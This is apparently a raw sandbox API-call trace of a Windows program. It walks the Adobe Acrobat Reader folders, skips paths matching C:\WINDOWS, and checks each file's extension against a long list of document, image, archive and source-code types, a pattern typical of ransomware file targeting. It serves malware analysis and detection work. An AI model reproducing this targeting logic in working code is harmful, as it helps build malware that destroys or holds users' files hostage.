ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.724] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0198.724] FindClose (in: hFindFile=0x4420820 | out: hFindFile=0x4420820) returned 1 [0198.724] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x5490048 | out: hHeap=0x420000) returned 1 [0198.724] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1 [0198.724] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\*", lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420820 [0198.724] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.725] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0198.725] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0198.725] FindClose (in: hFindFile=0x4420820 | out: hFindFile=0x4420820) returned 1 [0198.725] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x5490048 | out: hHeap=0x420000) returned 1 [0198.725] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0198.725] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz") returned 105 [0198.725] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz") returned 1 [0198.725] lstrlenW (lpString="cs-cz") returned 5 [0198.725] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="cs-cz") returned -1 [0198.725] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x5490048 [0198.725] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz") returned 105 [0198.725] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\*", lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420820 [0198.725] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.726] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0198.726] lstrlenW (lpString="ui-strings.js") returned 13 [0198.726] lstrlenW (lpString=".1cd") returned 4 [0198.726] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0198.726] lstrlenW (lpString=".3ds") returned 4 [0198.726] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0198.726] lstrlenW (lpString=".3fr") returned 4 [0198.726] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0198.726] lstrlenW (lpString=".3g2") returned 4 [0198.726] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0198.726] lstrlenW (lpString=".3gp") returned 4 [0198.726] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0198.726] lstrlenW (lpString=".7z") returned 3 [0198.727] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0198.727] lstrlenW (lpString=".accda") returned 6 [0198.727] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0198.727] lstrlenW (lpString=".accdb") returned 6 [0198.727] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0198.727] lstrlenW (lpString=".accdc") returned 6 [0198.727] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0198.727] lstrlenW (lpString=".accde") returned 6 [0198.727] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0198.727] lstrlenW (lpString=".accdt") returned 6 [0198.727] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0198.727] lstrlenW (lpString=".accdw") returned 6 [0198.727] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0198.727] lstrlenW (lpString=".adb") returned 4 [0198.727] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0198.727] lstrlenW (lpString=".adp") returned 4 [0198.727] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0198.727] lstrlenW (lpString=".ai") returned 3 [0198.727] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0198.727] lstrlenW (lpString=".ai3") returned 4 [0198.727] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0198.727] lstrlenW (lpString=".ai4") returned 4 [0198.727] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0198.727] lstrlenW (lpString=".ai5") returned 4 [0198.727] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0198.727] lstrlenW (lpString=".ai6") returned 4 [0198.727] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0198.728] lstrlenW (lpString=".ai7") returned 4 [0198.728] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0198.728] lstrlenW (lpString=".ai8") returned 4 [0198.728] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0198.728] lstrlenW (lpString=".anim") returned 5 [0198.728] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0198.728] lstrlenW (lpString=".arw") returned 4 [0198.728] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0198.728] lstrlenW (lpString=".as") returned 3 [0198.728] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0198.728] lstrlenW (lpString=".asa") returned 4 [0198.728] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0198.728] lstrlenW (lpString=".asc") returned 4 [0198.728] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0198.728] lstrlenW (lpString=".ascx") returned 5 [0198.728] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0198.728] lstrlenW (lpString=".asm") returned 4 [0198.728] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0198.728] lstrlenW (lpString=".asmx") returned 5 [0198.728] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0198.728] lstrlenW (lpString=".asp") returned 4 [0198.728] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0198.728] lstrlenW (lpString=".aspx") returned 5 [0198.728] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0198.728] lstrlenW (lpString=".asr") returned 4 [0198.728] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0198.728] lstrlenW (lpString=".asx") returned 4 [0198.728] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0198.728] lstrlenW (lpString=".avi") returned 4 [0198.728] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0198.728] lstrlenW (lpString=".avs") returned 4 [0198.729] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0198.729] lstrlenW (lpString=".backup") returned 7 [0198.729] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0198.729] lstrlenW (lpString=".bak") returned 4 [0198.729] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0198.729] lstrlenW (lpString=".bay") returned 4 [0198.729] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0198.729] lstrlenW (lpString=".bd") returned 3 [0198.729] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0198.729] lstrlenW (lpString=".bin") returned 4 [0198.729] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0198.730] lstrlenW (lpString=".bmp") returned 4 [0198.730] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0198.730] lstrlenW (lpString=".bz2") returned 4 [0198.730] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0198.730] lstrlenW (lpString=".c") returned 2 [0198.730] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0198.730] lstrlenW (lpString=".cdr") returned 4 [0198.730] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0198.730] lstrlenW (lpString=".cer") returned 4 [0198.730] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0198.730] lstrlenW (lpString=".cf") returned 3 [0198.730] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0198.730] lstrlenW (lpString=".cfc") returned 4 [0198.730] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0198.730] lstrlenW (lpString=".cfm") returned 4 [0198.730] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0198.730] lstrlenW (lpString=".cfml") returned 5 [0198.730] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0198.730] lstrlenW (lpString=".cfu") returned 4 [0198.730] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0198.730] lstrlenW (lpString=".chm") returned 4 [0198.731] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0198.731] lstrlenW (lpString=".cin") returned 4 [0198.731] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0198.731] lstrlenW (lpString=".class") returned 6 [0198.731] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0198.731] lstrlenW (lpString=".clx") returned 4 [0198.731] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0198.731] lstrlenW (lpString=".config") returned 7 [0198.731] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0198.731] lstrlenW (lpString=".cpp") returned 4 [0198.731] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0198.731] lstrlenW (lpString=".cr2") returned 4 [0198.731] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0198.731] lstrlenW (lpString=".crt") returned 4 [0198.731] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0198.731] lstrlenW (lpString=".crw") returned 4 [0198.731] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0198.731] lstrlenW (lpString=".cs") returned 3 [0198.731] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0198.731] lstrlenW (lpString=".css") returned 4 [0198.731] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0198.731] lstrlenW (lpString=".csv") returned 4 [0198.731] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0198.731] lstrlenW (lpString=".cub") returned 4 [0198.731] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0198.731] lstrlenW (lpString=".dae") returned 4 [0198.731] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0198.731] lstrlenW (lpString=".dat") returned 4 [0198.731] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0198.731] lstrlenW (lpString=".db") returned 3 [0198.732] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0198.732] lstrlenW (lpString=".dbf") returned 4 [0198.732] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0198.732] lstrlenW (lpString=".dbx") returned 4 [0198.732] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0198.732] lstrlenW (lpString=".dc3") returned 4 [0198.732] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0198.732] lstrlenW (lpString=".dcm") returned 4 [0198.732] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0198.732] lstrlenW (lpString=".dcr") returned 4 [0198.732] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0198.732] lstrlenW (lpString=".der") returned 4 [0198.732] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0198.732] lstrlenW (lpString=".dib") returned 4 [0198.732] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0198.732] lstrlenW (lpString=".dic") returned 4 [0198.732] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0198.732] lstrlenW (lpString=".dif") returned 4 [0198.732] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0198.732] lstrlenW (lpString=".divx") returned 5 [0198.732] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0198.732] lstrlenW (lpString=".djvu") returned 5 [0198.732] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0198.732] lstrlenW (lpString=".dng") returned 4 [0198.732] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0198.732] lstrlenW (lpString=".doc") returned 4 [0198.732] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0198.732] lstrlenW (lpString=".docm") returned 5 [0198.732] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0198.732] lstrlenW (lpString=".docx") returned 5 [0198.733] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0198.733] lstrlenW (lpString=".dot") returned 4 [0198.733] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0198.733] lstrlenW (lpString=".dotm") returned 5 [0198.733] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0198.733] lstrlenW (lpString=".dotx") returned 5 [0198.733] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0198.733] lstrlenW (lpString=".dpx") returned 4 [0198.733] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0198.733] lstrlenW (lpString=".dqy") returned 4 [0198.733] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0198.733] lstrlenW (lpString=".dsn") returned 4 [0198.733] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0198.733] lstrlenW (lpString=".dt") returned 3 [0198.733] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0198.733] lstrlenW (lpString=".dtd") returned 4 [0198.733] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0198.733] lstrlenW (lpString=".dwg") returned 4 [0198.733] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0198.733] lstrlenW (lpString=".dwt") returned 4 [0198.733] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0198.733] lstrlenW (lpString=".dx") returned 3 [0198.733] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0198.733] lstrlenW (lpString=".dxf") returned 4 [0198.733] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0198.733] lstrlenW (lpString=".edml") returned 5 [0198.733] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0198.733] lstrlenW (lpString=".efd") returned 4 [0198.733] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0198.733] lstrlenW (lpString=".elf") returned 4 [0198.734] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0198.734] lstrlenW (lpString=".emf") returned 4 [0198.734] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0198.734] lstrlenW (lpString=".emz") returned 4 [0198.734] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0198.734] lstrlenW (lpString=".epf") returned 4 [0198.734] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0198.734] lstrlenW (lpString=".eps") returned 4 [0198.734] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0198.734] lstrlenW (lpString=".epsf") returned 5 [0198.734] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0198.734] lstrlenW (lpString=".epsp") returned 5 [0198.734] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0198.734] lstrlenW (lpString=".erf") returned 4 [0198.734] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0198.734] lstrlenW (lpString=".exr") returned 4 [0198.734] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0198.734] lstrlenW (lpString=".f4v") returned 4 [0198.734] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0198.734] lstrlenW (lpString=".fido") returned 5 [0198.734] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0198.734] lstrlenW (lpString=".flm") returned 4 [0198.734] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0198.734] lstrlenW (lpString=".flv") returned 4 [0198.734] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0198.734] lstrlenW (lpString=".frm") returned 4 [0198.734] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0198.734] lstrlenW (lpString=".fxg") returned 4 [0198.734] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0198.734] lstrlenW (lpString=".geo") returned 4 [0198.734] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0198.735] lstrlenW (lpString=".gif") returned 4 [0198.735] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0198.735] lstrlenW (lpString=".grs") returned 4 [0198.735] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0198.735] lstrlenW (lpString=".gz") returned 3 [0198.735] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0198.735] lstrlenW (lpString=".h") returned 2 [0198.735] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0198.735] lstrlenW (lpString=".hdr") returned 4 [0198.735] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0198.735] lstrlenW (lpString=".hpp") returned 4 [0198.735] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0198.735] lstrlenW (lpString=".hta") returned 4 [0198.735] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0198.735] lstrlenW (lpString=".htc") returned 4 [0198.735] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0198.735] lstrlenW (lpString=".htm") returned 4 [0198.735] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0198.735] lstrlenW (lpString=".html") returned 5 [0198.735] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0198.735] lstrlenW (lpString=".icb") returned 4 [0198.735] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0198.735] lstrlenW (lpString=".ics") returned 4 [0198.735] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0198.735] lstrlenW (lpString=".iff") returned 4 [0198.735] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0198.735] lstrlenW (lpString=".inc") returned 4 [0198.736] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0198.736] lstrlenW (lpString=".indd") returned 5 [0198.736] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0198.736] lstrlenW (lpString=".ini") returned 4 [0198.736] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0198.736] lstrlenW (lpString=".iqy") returned 4 [0198.736] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0198.736] lstrlenW (lpString=".j2c") returned 4 [0198.736] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0198.736] lstrlenW (lpString=".j2k") returned 4 [0198.736] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0198.736] lstrlenW (lpString=".java") returned 5 [0198.736] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0198.736] lstrlenW (lpString=".jp2") returned 4 [0198.736] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0198.736] lstrlenW (lpString=".jpc") returned 4 [0198.736] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0198.737] lstrlenW (lpString=".jpe") returned 4 [0198.737] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0198.737] lstrlenW (lpString=".jpeg") returned 5 [0198.737] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0198.737] lstrlenW (lpString=".jpf") returned 4 [0198.737] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0198.737] lstrlenW (lpString=".jpg") returned 4 [0198.737] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0198.737] lstrlenW (lpString=".jpx") returned 4 [0198.737] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0198.737] lstrlenW (lpString=".js") returned 3 [0198.737] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0198.737] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0198.737] FindClose (in: hFindFile=0x4420820 | out: hFindFile=0x4420820) returned 1 [0198.737] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x5490048 | out: hHeap=0x420000) returned 1 [0198.737] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1 [0198.737] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk") returned 105 [0198.737] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk") returned 1 [0198.737] lstrlenW (lpString="da-dk") returned 5 [0198.737] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="da-dk") returned -1 [0198.737] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x5490048 [0198.737] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk") returned 105 [0198.738] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\*", lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420820 [0198.738] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, 